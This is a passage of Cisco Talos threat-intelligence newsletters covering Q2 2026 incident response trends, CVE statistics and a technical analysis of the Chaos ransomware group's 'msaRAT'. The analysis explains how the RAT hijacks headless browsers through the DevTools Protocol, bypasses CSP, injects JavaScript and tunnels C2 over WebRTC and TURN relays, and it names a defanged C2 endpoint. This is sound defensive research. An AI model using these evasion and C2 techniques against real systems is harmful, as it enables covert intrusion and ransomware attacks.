Those moments definitely don’t erase the exhaustion — you're still sore and bruised, and will be for days — but they do remind you why you started in the first place.
The one big thing
Talos released our Q2 2026 Incident Response Trends report, which showed a massive spike in authentication abuse and sophisticated phishing tactics. Phishing drove over half of all engagements, with attackers leveraging QR codes and advanced platforms like ARToken to bypass multi-factor authentication (MFA). Additionally, ransomware operators are increasingly weaponizing legitimate remote management tools like MeshAgent and Zoho Assist to establish stealthy, persistent access.
Why do I care?
Standard email gateways and basic MFA are no longer enough to stop adversaries from bypassing traditional defenses. By abusing legitimate administrative tools and trusted cloud infrastructure, threat actors can easily blend malicious traffic with normal network activity to remain undetected before deploying ransomware. Furthermore, the continued targeting of health care and public administration highlights a deliberate focus on organizations with zero tolerance for downtime.
So now what?
Organizations must transition from push- and SMS-based MFA to phishing-resistant methods like FIDO2 or hardware security keys. Defenders should also shift to behavior-based monitoring, specifically hunting for unauthorized instances of administrative tools. Finally, configure centralized logging with at least 90 days of retention, enforce strict outbound email thresholds, and prioritize patching internet-exposed infrastructure.
Read the full report for a deeper dive into this quarter's trends and observed MITRE ATT&CK techniques.
Top security headlines of the week
Authorities investigating a coordinated cyber attack against Minnesota water systems Federal and state authorities are investigating what they call a coordinated cyberattack over two days against operational technology at more than 30 community water systems in Minnesota. (Cybersecurity Dive)
Hacked public Wi-Fi gateways used to harvest corporate credentials As part of the attacks, the hackers modified the DNS configurations of the compromised small office/home office (SOHO) routers to redirect users to attacker-controlled infrastructure for credential theft. (SecurityWeek)
Default Azure Automation setting enables cross-tenant identity takeover Microsoft addressed a public-by-default configuration and chain of code flaws in Azure Automation that could have let attackers seize another tenant's identity and access others' data, credentials, and cloud workloads. (DarkReading)
Public proof-of-concept released for exploited Check Point SmartConsole authentication bypass The vulnerability is an authentication bypass in the SmartConsole login process that allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. (The Hacker News)
Can’t get enough Talos?
The TTP: Built for IT. Used by attackers In this episode of The Talos Threat Perspective, Hazel, Craig and Joe explore how attackers are abusing legitimate Remote Monitoring and Management software, trusted services and compromised identities to evade detection. Based on trends revealed in the latest Talos Incident Response Quarterly Trends report, the discussion covers ransomware groups using remote tools to maintain access, phishing platforms that have evolved into complete attack ecosystems, and an ongoing QR code phishing campaign targeting Microsoft 365 accounts.
Talos Takes: Q2 Talos IR Trends: Phishing and authentication abuse In this episode, Amy and analyst Lexi DiScola unpack the trends Talos IR saw on the frontlines in Q2 2026. From creative phishing lures that slip past email gateways to the weaponization of legitimate remote management tools, we explore why traditional defenses are falling short and the practical things you can do to reclaim the advantage.
Preview: Cisco Talos at Black Hat USA 2026 We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence. Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That’s fine, too.
Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel The Chaos ransomware group uses new malware "msaRAT" that hijacks browsers. The malware doesn't communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker's IP from victims via WebRTC over TURN.
Cybersecurity is rarely a straight line. In this special Black Hat edition of Humans of Talos, Amy looks back at the incredible journeys that brought past guests to the world of threat intelligence. From forensic labs and newsrooms to the kitchen line, we’re revisiting the stories and lessons that define the people behind the threat intelligence.
Heading to Black Hat? We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research and incident response, and grab the newest Snorty. Check out our schedule here.
Want more episodes? Watch the full episode, and don’t forget to subscribe to our YouTube channel for the next Humans of Talos.
Phishing was the primary means of gaining initial access this quarter, appearing in over half of all Cisco Talos Incident Response (Talos IR) engagements – an increase from approximately a third of engagements last quarter. Attackers continued to innovate their delivery methods to evade defenses, deploying QR code-embedded PDFs to bypass traditional email gateways and hosting links on trusted cloud platforms. We also saw a spike in authentication abuse this quarter — observed in 65 percent of engagements compared to 35 percent last quarter — with attackers frequently bypassing or defeating multi-factor authentication (MFA) using adversary-in-the-middle (AitM) proxies, session-token theft, MFA fatigue attacks, and self-enrolled devices, amongst other methods.
Ransomware incidents made up over 20 percent of engagements this quarter, similar to just under 20 percent last quarter. Talos IR responded to Sinobi ransomware for the first time, as well as previously seen variants Nitrogen and Warlock. We observed ransomware operators leveraging legitimate remote monitoring and management (RMM) tools, such as trojanized MeshAgent binary and Zoho Assist, for stealthy access, requiring defenders to prioritize behavior-based monitoring and strict control over administrative binaries.
In the latest Talos Threat Perspective episode, we explore these trends, and highlight where defenders have the best opportunities to detect attackers:
QR phishing campaign leverages trusted infrastructure to target Australian organizations
Starting in April, we observed a persistent QR code phishing campaign targeting primarily Australian organizations that leverages compromised Microsoft 365 accounts to harvest credentials and propagate the attack via internal contact lists. The campaign, which remained ongoing as of late June 2026, employs auto-generated, victim-tailored PDF documents containing QR codes that direct to adversary-controlled M365 credential harvesting pages. If credentials are successfully captured, the adversary attempts access to the victim’s Microsoft account and conducts various post-compromise actions including creating email inbox rules for defense evasion, leveraging SharePoint to host malicious documents, and sending additional internal and external phishing emails to continue the compromise chain.
We assess with high confidence that the threat actor, who we have dubbed UAT-11764, will almost certainly continue leveraging this QR code phishing operation, using each newly compromised mailbox's contact lists to expand its reach and sustain the campaign's momentum. By weaponizing existing, trusted infrastructure like SharePoint and M365, UAT-11764 can bypass many standard email security gateways. As such, network defenders should implement policies that block or flag emails containing QR codes within PDF attachments, enforce phishing-resistant MFA on M365 accounts, and monitor for suspicious inbox rule creation and anomalous SharePoint file staging as indicators of post-compromise activity.
ARToken platform provides toolkit for Microsoft 365 account compromise
Talos uncovered a phishing-as-a-service (PhaaS) operator platform, ARToken, in an engagement this quarter that is closely linked to the EvilTokens platform. According to our analysis, the ARToken panel exposes 80+ API endpoints for device code phishing, primary refresh token (PRT) persistence, email access, business email compromise (BEC) operations, and SharePoint exfiltration — all accessible to operators through a React-based dashboard. Our investigation into the platform found phishing lures that impersonate trusted vendors and abuse legitimate Microsoft services, allowing attackers to bypass MFA through the OAuth device authorization flow rather than stealing passwords.
ARToken extends beyond a typical phishing kit by providing affiliates with a comprehensive post-compromise toolkit. We observed capabilities including automated token management, persistent access through PRTs, OneDrive and SharePoint administration, geo-dynamic templates, inbox rule manipulation, cross-account keyword monitoring, and collaborative token sharing. We also identified advanced anti-analysis techniques, including layered evasion mechanisms and encrypted client-side payloads, highlighting the increasing sophistication of modern PhaaS platforms and reinforcing the need for organizations to monitor device code authentication, enforce Conditional Access policies, and strengthen defenses against token-based attacks.
Ransomware trends
Ransomware and pre-ransomware incidents made up over 20 percent of engagements this quarter, relatively similar to just under 20 percent last quarter. As previously mentioned, Talos IR responded to Sinobi ransomware for the first time, as well as previously seen variants Nitrogen and Warlock. We observed operators from these groups leveraging tools not previously identified in public reporting, including a trojanized MeshAgent binary and Zoho Assist for remote access.
Sinobi ransomware operators weaponize MeshAgent for covert backdoor access
We responded to a Sinobi ransomware engagement for the first time in April; while this ransomware-as-a-service (RaaS) operation emerged nearly a year ago, there has been minimal public reporting on the actors’ operations.
Notably, we observed the threat actors use a trojanized MeshAgent binary as their primary C2 mechanism during this engagement, a tactic that has not been previously associated with the group in public reporting. MeshAgent is the open-source agent component of the MeshCentral remote management platform. Here, the actor weaponized it into a covert durable backdoor installed as a SYSTEM-level auto-start service, communicating over encrypted WebSocket (WSS) to an attacker-controlled server. This approach allowed the actor to blend malicious traffic with legitimate remote management activity and maintain undetected access for approximately three days before ransomware deployment.
Following C2 establishment, the actor moved laterally through the network using RDP and WinRM, leveraging a service account with a weak, easily cracked password obtained from the domain credential store, ntds.dit. The actor ultimately deployed the ransomware across the entire domain using a malicious Group Policy Object (GPO) logon script. The incident resulted in the encryption of systems with the .SINOBI file extension, alongside observed data exfiltration staging activity conducted via rclone.exe.
Looking forward, Sinobi operators will likely continue weaponizing legitimate tools like MeshAgent because these binaries blend into standard administrative traffic and bypass many traditional signature-based alerts. The use of GPO-based deployment scripts suggests an understanding of enterprise architecture, and operators will likely continue to exploit centralized management features to ensure rapid, domain-wide encryption. Defenders should prioritize monitoring of administrative tools and implement strict application allowlisting to prevent unauthorized binaries from running as services. Further, proactive hunting for unauthorized MeshAgent instances and auditing service account permissions may help in identifying and disrupting Sinobi activity before encryption.
Warlock actors deploy Zoho Assist to attempt remote access without active user sessions
In one engagement, we observed Warlock ransomware operators (also known as Storm-2603) deploying an installer for the RMM tool Zoho Assist Unattended Agent, which is designed to allow administrative remote control of an endpoint without a user logged in. The tool, which we have not previously seen attributed to Warlock, enables the attackers to maintain persistent, stealthy, and unrestricted control, significantly increasing the potential malicious impact of an incident.
While the activity in this particular did not lead to encryption, it was consistent with a successful Warlock ransomware attack Talos observed in May. To counter this threat, organizations must shift from signature-based detection to behavior-based monitoring, focusing on the specific tactics, techniques, and procedures (TTPs) utilized by Storm-2603, such as the abuse of legitimate administrative tools and rapid movement within the network.
Targeting
For the second quarter in a row, health care led as the most targeted industry vertical accounting for 17 percent of all engagements, with public administration and manufacturing following at 14 percent each. A shared characteristic of these top-targeted sectors is a critical lack of downtime tolerance. The vast majority of targeted health care organizations were entities that directly support clinical operations and/or diagnostic services, where service interruption can result in operational and patient-care consequences. Almost all targeted public administration organizations were local governments, which provide essential public services, while the targeted manufacturing entities represented high-value targets within the industrial supply chain, where potential disruptions could create cascading effects across the downstream technology and energy sectors.
Initial access
As mentioned, phishing was the top means of gaining initial access this quarter, accounting for over half of engagements where initial access could be determined — an increase from 35 percent last quarter. Many phishing engagements included MFA-bypass techniques, such as OAuth device-code phishing and AiTM frameworks, allowing adversaries to intercept session tokens. Other observed means of achieving initial access included exploitation of public-facing applications and drive-by compromise.
Recommendations for addressing top security weaknesses
Implement properly configured, phishing-resistant MFA and tighten authentication controls
Authentication abuse was the most prevalent security weakness this quarter, observed in 65 percent of engagements — up sharply from 35 percent last quarter. Adversaries consistently defeated or bypassed MFA using AitM proxies and session-token theft, MFA fatigue attacks, registration of attacker-controlled devices for authentication, and legacy authentication protocols that circumvent MFA altogether. To reduce this risk, Talos IR recommends transitioning from push- and SMS-based MFA to phishing-resistant methods such as FIDO2/WebAuthn and hardware security keys. Organizations should also restrict self-service MFA enrollment by requiring helpdesk verification, block legacy authentication through Conditional Access, enforce number matching or verified push where phishing-resistant methods are not yet feasible, and condition access on device compliance and trusted infrastructure rather than geographic location alone.
Configure centralized logging with adequate retention across the environment
Insufficient logging and visibility was the second most common weakness, observed in 42 percent of engagements compared to 18 percent last quarter. Deficiencies included domain controller security logs retained for only a few hours, host event logs truncated or overwritten before capture, absent NetFlow that prevented reconstruction of external authentication and exfiltration, on-device-only logs that adversaries deleted to evade detection, and short cloud-telemetry retention that did not extend back to the true initial-access date. In several engagements these gaps prevented definitive determination of the initial access vector or the scope of data exfiltration. Talos IR recommends implementing a SIEM or centralized logging platform with a minimum of 90 days of retention, forwarding logs from servers, workstations, network infrastructure, cloud identity providers, and security appliances off-device so they survive log tampering and host rebuilds, and enabling process-creation, command-line, and cloud API (e.g., Microsoft Graph) auditing. Talos IR's Log Architecture Assessment service can identify gaps and provide a roadmap to a complete view of the environment.
Conduct robust patch management and reduce exposed infrastructure
Vulnerable, exposed, or unpatched internet-facing infrastructure was the third most common weakness, observed in 31 percent of engagements, similar to last quarter’s 25 percent. A variety of different vulnerabilities were targeted including ToolShell, an older Telerik UI deserialization flaw, and SD-WAN and perimeter-VPN appliance CVEs. Internet-exposed services were also subjected to SQL-injection and denial-of-service activity. Talos IR recommends identifying and prioritizing the patching or decommissioning of all end-of-life and externally exposed systems, isolating systems that cannot be immediately upgraded, restricting management plane and remote access services behind a VPN or trusted source, deploying a Web Application Firewall (WAF) with rules for known exploitation patterns, and establishing a vulnerability management process capable of rapidly identifying and patching exposed assets — particularly given the accelerating reduction in time between vulnerability disclosure and exploitation.
Enforce strict outbound email thresholds to disrupt attack propagation
Finally, unlimited outbound email thresholds were a notable security weakness this quarter, enabling threat actors to propagate malicious activity in almost 15 percent of engagements. Though not as prevalent as the above weaknesses, it was more frequently observed than in previous quarters and warrants mention. For example, in one engagement, a user clicked on a malicious phishing email that led to credential theft and account compromise. Shortly after the threat actors gained access to the user’s mailbox, they sent over 6,600 phishing and spam emails to continue the attack chain. The failure to contain the compromise via outbound rate limiting significantly amplifies the damage of a single compromised credential; implementing these controls is a low-effort, high-impact mitigation strategy that effectively disrupts the attack chain.
Top-observed MITRE ATT&CK techniques
The table below represents the MITRE ATT&CK techniques observed in this quarter’s Talos IR engagement. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic in which they were leveraged. Please note this is not an exhaustive list.
Key findings from the MITRE ATT&CK framework include:
Consistent with phishing being a top threat this quarter, email hiding rules was the most observed tactic for persistence while internal spearphishing was most seen for lateral movement.
Use of valid accounts was frequently observed for both privilege escalation and persistence, highlighting how identity abuse remains a key theme across engagements.
Actors also relied on legitimate tools and web protocols to challenge detection, abusing native email features and cloud APIs, relying on standard web protocols for C2, and using valid administrative credentials for RDP and SSH.
Tactic
Technique
Example
Reconnaissance (TA0043)
T1598 Phishing for Information
Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.
T1595 Active Scanning
Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.
T1593 Search Open Websites/Domains
Adversaries may search open websites and domains to gather information about a victim that can be used during targeting.
T1589 Gather Victim Identity Information
Adversaries may gather information about the victim's identity that can be used during targeting.
Initial Access (TA0001)
T1566 Phishing
Adversaries may send phishing messages to gain access to victim systems.
T1190 Exploit Public-Facing Application
Adversaries may exploit a vulnerability to gain access to a target system.
T1078 Valid Accounts
Adversaries may use compromised credentials to access valid accounts during their attack.
Execution (TA0002)
T1204.001 User Execution: Malicious Link
An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution.
T1078 Valid Accounts
Adversaries may obtain and abuse credentials of existing accounts to access systems within the network and execute their payload.
Persistence (TA0003)
T1564.008 Hide Artifacts: Email Hiding Rules
Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails.
T1663 Remote Access Software
Adversaries may use legitimate remote access software, such as VNC, TeamViewer, AirDroid, AirMirror, etc., to establish an interactive command and control channel to target mobile devices.
T1053 Scheduled Task/Job
Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.
T1133 External Remote Services
Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations.
T1078 Valid Accounts
The adversary may compromise a valid account to move through the network to additional systems.
Defense Impairment (TA0112)
T1687 Exploitation for Defense Impairment
Adversaries may exploit vulnerabilities in security software, infrastructure, or defensive components to degrade, disable, or otherwise continue to impair their ability to prevent, detect, or respond to malicious activity.
T1078 Valid Accounts
Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
T1484 Domain or Tenant Policy Modification
Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments.
Stealth (TA0005)
T1564.008 Hide Artifacts: Email Hiding Rules
Adversaries may use email rules to hide inbound or outbound emails in a compromised user's mailbox.
T1070 Indicator Removal
Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.
Credential Access (TA0006)
T1111 Multi-Factor Authentication Interception
Adversaries may target MFA mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources.
Adversaries may attempt to bypass MFA mechanisms and gain access to accounts by generating MFA requests sent to users.
T1110.003 Brute Force: Password spraying
Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials.
Discovery (TA0007)
T1018 Remote System Discovery
Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.
T1083 File and Directory Discovery
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
T1087 Account Discovery
Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.
T1082 System Information Discovery
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
T1526 Cloud Service Discovery
An adversary may attempt to enumerate the cloud services running on a system after gaining access.
Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
T1534 Internal Spearphishing
After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization.
T1021.004 Remote Services: SSH
Adversaries may use Valid Accounts to log into remote machines using SSH. The adversary may then perform actions as the logged-on user.
Command and Control (TA0011)
T1219 Remote Access Software
An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network.
T1071.001 Application Layer Protocol: Web Protocols
Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.
T1102 Web Service
Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.
T1572 Protocol Tunneling
Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.
Exfiltration (TA0010)
T1567 Exfiltration Over Web Service
Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.
T1048 Exfiltration Over Alternative Protocol
Adversaries may exfiltrate data over a different protocol than the command and control channel.
Impact (TA0040)
T1486 Data Encrypted for Impact
Adversaries may use ransomware to encrypt data on a target system.
Welcome to this week’s edition of the Threat Source newsletter.
Lately I've found myself thinking a lot about the Australian TV series Mr. Inbetween (IMDb 8.7/10) — not because I'm a hitman for hire, but because I literally feel in-between. Specifically, in-between what I'd call the "pre-Mythos" and “post-Mythos” eras. We've crossed a capability threshold, and it's not just one model family driving that — Codex 5.3 and GPT-5.5 deliver comparable or better performance, and Tulongfeng or GLM-5.2 (an incredibly powerful open-weight model, MIT-licensed) show the frontier isn't limited to closed models anymore.
On the other side of that line, real-world impact hasn't caught up yet and we're living in an artificial buffer zone. For me, defining the “pre-” and “post-” status comes down to the gap between "vulnerability discovery" and "vulnerability publication."
Last week’s Patch Tuesday gave a signal of change, as Joe pointed out, so maybe the buffer zone has come to an end.
Let's dive into the 2026 Q2 stats.
As in past years, we're seeing a steeper curve than the year before — a solid 49% YoY growth, though still not the hockey-stick moment I keep waiting for. By the end of June we were tracking close to 200 CVEs per day.
Using the keyword methodology described here, I found 452 AI-related CVEs this calendar year. If "openclaw" is added to the keyword list, that number jumps by another 536 — a reminder that these counts are sensitive to keyword drift. Given how much the keyword list keeps changing, I'm reconsidering whether to keep publishing this particular metric going forward.
KEVs, by contrast, "only" grew 13% — a small April spike aside, it's fairly flat relative to total CVE growth. Networking-gear-related CVEs continued their climb, now accounting for 24% of KEV-related vulnerabilities (up from 20% in Q1) — consistent with the trend I flagged last quarters.
As in previous quarters, CVEs from 2024 or earlier still make up about 24% of everything we're tracking. More strikingly, even though the standard enterprise patch cycle is described to run 30–90 days, 181 days into 2026, 46% of today's actively-exploited (KEV) CVEs still trace back to 2025 or earlier.
Old vulnerabilities don't retire, new ones keep arriving, and machine-speed vulnerability discovery is going to keep outpacing human-speed patching. Which brings me back — once again — to EPSS as a tool for prioritizing patching against this dataset.
If you patched purely by CVSS 9+, you'd be urgently chasing ~3,700 CVEs — but 95% of those sit below 5% EPSS, meaning the real-world odds of exploitation are tiny.
Of the 32 CVSS 9+ CVEs with EPSS ≥ 50%, 25 are already on CISA's KEV list. The remaining seven outliers are still high-probability by EPSS but haven't made KEV yet — worth watching.
Ray Shoesmith (Mr. Inbetween) once told his therapist, "You know, if I hit somebody, I generally got a pretty good reason."
Same principle applies to patching. Don't swing at everything — swing at what you have good reason to believe is coming for you.
The one big thing
Cisco Talos has discovered "msaRAT," a new Rust-based remote access trojan (RAT) deployed by the Chaos ransomware group. Built on the Tokio asynchronous runtime, it establishes a covert command-and-control (C2) channel by hijacking Chrome or Edge browsers via the Chrome DevTools Protocol (CDP). The infection starts with a deceptive MSI file masquerading as a Windows update that loads the payload directly into memory, paving the way for ransomware deployment.
Why do I care?
This RAT is a master of evasion, living off the browser to build its C2 infrastructure without ever directly touching the network. By routing traffic through legitimate browser processes and trusted services, msaRAT easily bypasses traditional network-based detections. Additionally, its use of the Tokio runtime enables highly efficient, parallel execution of malicious tasks, accelerating the attacker's ability to establish persistence and deploy double-extortion ransomware.
So now what?
Defenders should monitor for unusual curl commands, especially those downloading MSI files to the ProgramData directory or sending plain HTTP traffic over port 443. Scrutinize unexpected MSI files impersonating Windows updates and watch for unauthorized Chrome or Edge manipulation. Finally, implement behavioral monitoring to catch Chrome DevTools Protocol abuse and unauthorized WebRTC connections. Read the full blog for complete coverage and indicators of compromise (IOCs).
Top security headlines of the week
Introducing Antares: Highly efficient open weight AI models for vulnerability localization This week, Cisco introduced Antares, a family of security small language models (SLMs) purpose-built for pinpointing where known vulnerabilities exist within a codebase. (Cisco)
Hacker wipes European country’s entire land registry database, paralyzing real-estate market A hacker wiped Romania’s entire land registry database after an unsuccessful extortion attempt. The attack halted all property transactions, preventing notaries from authenticating sales or registering mortgages nationwide. (Cybernews)
"WP2Shell” opens millions of WordPress sites to remote takeover Barely three days after disclosure, attackers are widely chaining together CVE-2026-60137 and CVE-2026-63030 to lob exploit attempts against one of the largest attack surfaces on the Internet. (DarkReading)
Progress tells ShareFile customers to shut down Storage Zone Controllers over security threat Only the Storage Zone Controller is affected, not standard cloud-only ShareFile accounts. The controller is a server that a company runs itself, so files can stay on its own storage while it still uses ShareFile's cloud to share and manage them. (The Hacker News)
Microsoft SharePoint under attack via new exploit Researchers warned that patching is not enough to address the deserialization flaw and that security teams “should rotate credentials on any assets that may have been exposed.” (Cybersecurity Dive)
Can’t get enough Talos?
[Video] Where protection starts: Cisco Talos Intelligence Integrations Every day, defenders make high-consequence decisions with incomplete information. Learn how Cisco Talos Intelligence Integrations help reduce uncertainty by turning the latest threat intelligence into proactive protections across Cisco technologies.
The serpent’s tongue: Luring the Python out of its den Protect your development environment from rising Python supply-chain threats by understanding the package installation lifecycle and implementing these essential defensive strategies.
Keeping up with the cybercriminals In this episode of Beers with Talos, Hazel, Bill, Dave and Joe are joined by Kendall McKay to dive into the soap opera of modern cybercrime. Turns out, every ransomware operation is one passive-aggressive group chat message away from falling apart.
Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.
Overview of Chaos ransomware
Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.
Figure 1. Chaos ransomware leak site.
Infection chain
Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.
Figure 2. Infection chain.
After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.
The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.
Figure 3. Properties of “update_ms.msi”
When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.
Figure 4. Structure of the MSI file.
lib.dll (msaRAT)
msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.
Tokio runtime initialization
Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.
As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.
During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.
By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.
Figure 5. Reading the TOKIO_WORKER_THREADS environment variable and determining the worker thread count.
Hijacking the browser
Locating the Chrome or Edge installation path
After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.
1. Path Discovery via Environment Variables
The malware attempts the following combinations in priority order, checking whether the file exists at each path.
Table 1. Browser search targets and priority order.Figure 6. Chrome and Edge path discovery (pseudocode).
2. Path Discovery via registry
If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.
Figure 7. Locating Chrome via registry values
If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.
Launching the browser in headless mode
Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.
Table 2. List of flags applied at browser launch.Figure 8. HTTP GET request to “/json/list/”.
In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.
Inject JavaScript code
After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.
Figure 9. Issuing CDP commands.
Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.
Figure 10. String table containing the binding names.
After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.
Figure 11. JavaScript code embedded in the RAT binary (partial excerpt).
The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.
WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer
1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information
First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.
Figure 12. Retrieving STUN/TURN server information.
Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.
Figure 13. GET /token/v1/{UID} request (excerpt).
The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.
Figure 14. Response body of GET /token/v1/{UID} request (excerpt).
2. Creating the WebRTC PeerConnection and DataChannel
Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).
Figure 15. Creating the WebRTC PeerConnection and DataChannel.
3. Connecting events to bindings
The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().
Figure 16. Binding each event to its corresponding callback.
4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation
